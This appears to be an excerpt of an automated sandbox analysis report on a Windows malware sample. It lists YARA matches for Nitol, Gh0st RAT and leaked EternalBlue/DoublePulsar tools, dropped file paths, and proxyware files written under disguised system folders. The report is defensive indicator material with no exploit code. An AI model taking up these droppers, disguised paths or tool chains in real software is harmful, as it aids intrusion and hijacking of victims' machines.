Source: Yara match	File source: 0000001A.00000002.2174361493.0000000001BD5000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: exe1.bin.bak.exe PID: 7644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MpMgSvc.exe PID: 7432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Hooks.exe PID: 12108, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 12364, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Wmicc.exe PID: 15416, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\Temp\Wmicc.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, type: DROPPED

Source: netsh.exe

Process created: 40

System Summary

Malicious sample detected (through community Yara rule)

Source: 27.2.svchost.exe.11776ac0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader Author: Florian Roth
Source: 27.2.svchost.exe.11776ac0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report Author: Florian Roth
Source: 27.2.svchost.exe.11776ac0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Nitol Malware Author: Florian Roth
Source: 27.2.svchost.exe.11776ac0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Nitol backdoor Author: ditekSHen
Source: 0.2.exe1.bin.bak.exe.42854f.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 21.2.MpMgSvc.exe.5442d0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 26.2.Hooks.exe.1b98d8e.5.unpack, type: UNPACKEDPE	Matched rule: Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader Author: Florian Roth
Source: 26.2.Hooks.exe.1b98d8e.5.unpack, type: UNPACKEDPE	Matched rule: Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report Author: Florian Roth
Source: 26.2.Hooks.exe.1b98d8e.5.unpack, type: UNPACKEDPE	Matched rule: Detects Nitol Malware Author: Florian Roth
Source: 26.2.Hooks.exe.1b98d8e.5.unpack, type: UNPACKEDPE	Matched rule: Detects Nitol backdoor Author: ditekSHen
Source: 26.2.Hooks.exe.1b98d8e.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 27.2.svchost.exe.11776ac0.2.unpack, type: UNPACKEDPE	Matched rule: Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader Author: Florian Roth
Source: 27.2.svchost.exe.11776ac0.2.unpack, type: UNPACKEDPE	Matched rule: Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report Author: Florian Roth
Source: 27.2.svchost.exe.11776ac0.2.unpack, type: UNPACKEDPE	Matched rule: Detects Nitol Malware Author: Florian Roth
Source: 27.2.svchost.exe.11776ac0.2.unpack, type: UNPACKEDPE	Matched rule: Detects Nitol backdoor Author: ditekSHen
Source: 27.2.svchost.exe.11776ac0.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 55.0.Wmicc.exe.49fae8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 29.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader Author: Florian Roth
Source: 29.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report Author: Florian Roth
Source: 29.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Nitol Malware Author: Florian Roth
Source: 29.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Nitol backdoor Author: ditekSHen
Source: 55.0.Wmicc.exe.4242e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 21.2.MpMgSvc.exe.4c8ac8.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 0.2.exe1.bin.bak.exe.43df2f.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 21.2.MpMgSvc.exe.4a47e8.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 21.2.MpMgSvc.exe.4a47e8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 21.2.MpMgSvc.exe.625266.5.unpack, type: UNPACKEDPE	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: 26.2.Hooks.exe.1b98d8e.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader Author: Florian Roth
Source: 26.2.Hooks.exe.1b98d8e.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report Author: Florian Roth
Source: 26.2.Hooks.exe.1b98d8e.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Nitol Malware Author: Florian Roth
Source: 26.2.Hooks.exe.1b98d8e.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Nitol backdoor Author: ditekSHen
Source: 26.2.Hooks.exe.1b98d8e.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 0.2.exe1.bin.bak.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Samples related to APT17 activity - file FXSST.DLL Author: Florian Roth
Source: 0.2.exe1.bin.bak.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 0.2.exe1.bin.bak.exe.448f60.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 55.0.Wmicc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 55.2.Wmicc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 21.2.MpMgSvc.exe.628e79.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 Author: unknown
Source: 21.2.MpMgSvc.exe.628e79.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: 21.2.MpMgSvc.exe.628e79.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: 21.2.MpMgSvc.exe.625266.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 Author: unknown
Source: 21.2.MpMgSvc.exe.625266.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: 21.2.MpMgSvc.exe.625266.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: 21.2.MpMgSvc.exe.60c853.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 Author: unknown
Source: 21.2.MpMgSvc.exe.60c853.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: 21.2.MpMgSvc.exe.60c853.2.raw.unpack, type: UNPACKEDPE	Matched rule: Malware Sample - maybe Regin related Author: Florian Roth
Source: 21.2.MpMgSvc.exe.60c853.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: 21.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 Author: unknown
Source: 21.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: 21.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Malware Sample - maybe Regin related Author: Florian Roth
Source: 21.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: 21.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 Author: unknown
Source: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Malware Sample - maybe Regin related Author: Florian Roth
Source: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: Process Memory Space: MpMgSvc.exe PID: 7432, type: MEMORYSTR	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: Process Memory Space: MpMgSvc.exe PID: 7432, type: MEMORYSTR	Matched rule: Malware Sample - maybe Regin related Author: Florian Roth
Source: Process Memory Space: MpMgSvc.exe PID: 7432, type: MEMORYSTR	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: C:\Windows\Temp\Eternalblue-2.2.0.xml, type: DROPPED	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: C:\Windows\Temp\coli-0.dll, type: DROPPED	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: C:\Windows\Temp\Eternalblue-2.2.0.exe, type: DROPPED	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: C:\Windows\Temp\Doublepulsar-1.3.1.xml, type: DROPPED	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: C:\Windows\Temp\Eternalromance-1.4.0.exe, type: DROPPED	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: C:\Windows\Temp\Eternalromance-1.4.0.exe, type: DROPPED	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: C:\Windows\Temp\Eternalromance-1.4.0.exe, type: DROPPED	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: C:\Windows\Temp\Eternalromance-1.4.0.exe, type: DROPPED	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: C:\Windows\Temp\Wmicc.exe, type: DROPPED	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: C:\Windows\Temp\Eternalromance-1.4.0.xml, type: DROPPED	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: C:\Windows\Temp\dmgd-4.dll, type: DROPPED	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 Author: unknown
Source: C:\Windows\Temp\Doublepulsar-1.3.1.exe, type: DROPPED	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: C:\Windows\Temp\Doublepulsar-1.3.1.exe, type: DROPPED	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: C:\Windows\Temp\Doublepulsar-1.3.1.exe, type: DROPPED	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, type: DROPPED	Matched rule: Detects Nitol backdoor Author: ditekSHen
Source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, type: DROPPED	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen

Source: C:\Windows\Temp\MpMgSvc.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: 0_2_0041F357 NtdllDefWindowProc_A,	0_2_0041F357
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: 0_2_0041D56E NtdllDefWindowProc_A,	0_2_0041D56E
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: 0_2_0041DD5B NtdllDefWindowProc_A,CallWindowProcA,	0_2_0041DD5B

Source: C:\Users\user\Desktop\exe1.bin.bak.exe

Code function: 0_2_004082E1 OpenSCManagerA,OpenServiceA,DeleteService,CloseServiceHandle,CloseServiceHandle,

0_2_004082E1

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 29_2_004141A0 ExitWindowsEx,

29_2_004141A0

Source: C:\Users\user\Desktop\exe1.bin.bak.exe	File created: C:\Windows\Logs\RunDllExe.dll	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\ctfmoon.exe
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\Meson.exe
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\root_conf
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\root_conf\default.toml
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\traffmonetizer
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\traffmonetizer\settings.json
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Base.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Bcl.AsyncInterfaces.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.NETCore.Client.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.Runtime.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Win32.Primitives.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\netstandard.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.AppContext.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Buffers.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Concurrent.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Immutable.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.NonGeneric.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Specialized.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.EventBasedAsync.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.Primitives.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.TypeConverter.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Console.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Data.Common.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Contracts.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Debug.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.FileVersionInfo.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.StackTrace.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.TextWriterTraceListener.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Tools.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.TraceSource.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Tracing.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Drawing.Primitives.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Dynamic.Runtime.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.Calendars.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.Extensions.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Compression.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Compression.ZipFile.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.DriveInfo.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.Primitives.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.Watcher.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.IsolatedStorage.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.MemoryMappedFiles.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Pipes.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.UnmanagedMemoryStream.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Expressions.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Parallel.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Queryable.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Memory.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Http.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.NameResolution.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.NetworkInformation.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Ping.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Primitives.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Requests.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Security.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Sockets.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebHeaderCollection.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebSockets.Client.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebSockets.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Numerics.Vectors.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ObjectModel.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Extensions.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Metadata.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Primitives.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.Reader.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.ResourceManager.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.Writer.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.CompilerServices.Unsafe.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.CompilerServices.VisualC.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Extensions.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Handles.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.InteropServices.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.InteropServices.RuntimeInformation.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Numerics.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Formatters.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Json.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Primitives.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Xml.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Claims.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Algorithms.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Csp.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Encoding.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Primitives.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.X509Certificates.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Principal.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.SecureString.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encoding.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encoding.Extensions.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encodings.Web.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Json.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.RegularExpressions.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Overlapped.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.Extensions.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.Parallel.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Thread.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.ThreadPool.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Timer.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ValueTuple.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.ReaderWriter.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XDocument.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XmlDocument.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XmlSerializer.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XPath.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XPath.XDocument.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe.config
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\Framework\v3.0\WmiPrvSER.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Source: C:\Windows\SysWOW64\netsh.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\PeerDistRepub
Source: C:\Windows\Microsoft.NET\ctfmoon.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\ip_royal_paws
